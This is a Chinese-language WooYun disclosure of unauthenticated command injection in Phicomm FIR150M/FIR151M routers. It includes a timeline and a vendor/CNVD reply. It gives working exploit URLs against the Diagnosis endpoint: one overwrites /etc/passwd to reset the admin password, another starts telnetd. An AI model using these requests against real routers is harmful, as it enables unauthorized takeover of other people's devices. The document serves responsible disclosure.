漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-064136
漏洞标题：斐讯FIR15XM等多个型号路由器存在未经鉴权执行任意命令
相关厂商：斐讯
漏洞作者： latyas
提交时间：2014-06-09 09:40
修复时间：2014-07-24 09:42
公开时间：2014-07-24 09:42
漏洞类型：未授权访问/权限绕过
危害等级：高
自评Rank：10
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-06-09： 细节已通知厂商并且等待厂商处理中
2014-06-13： 厂商已经确认，细节仅向厂商公开
2014-06-23： 细节向核心白帽子及相关领域专家公开
2014-07-03： 细节向普通白帽子公开
2014-07-13： 细节向实习白帽子公开
2014-07-24： 细节向公众公开
简要描述：
FIR150M FIR151M 均存在这个问题， 其他型号暂时不清楚， 不过同系统的应该是存在的。
详细说明：
问题出在 http://192.168.1.1/diagnosis.asp
内有大量注释掉的代码，分析后，通过提交
http://192.168.1.1/goform/Diagnosis?system_command=命令
可以执行任意代码。
比如
http://192.168.1.1/goform/Diagnosis?system_command= echo "admin:jwEx7t/7fl0lY:0:0:Adminstrator:/:/bin/sh" > /etc/passwd
可重置密码为admin
或者
http://192.168.1.1/goform/Diagnosis?system_command=telnetd
可打开telnet服务
漏洞证明：
修复方案：
版权声明：转载请注明来源 latyas@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2014-06-13 16:16
厂商回复：
CNVD未能在本地设备（从京东新购的对应版本不存在该漏洞）或互联网实例上复现所述情况，仅根据图片确认，后续将直接转报给设备厂商，由其进行确认。
最新状态：
暂无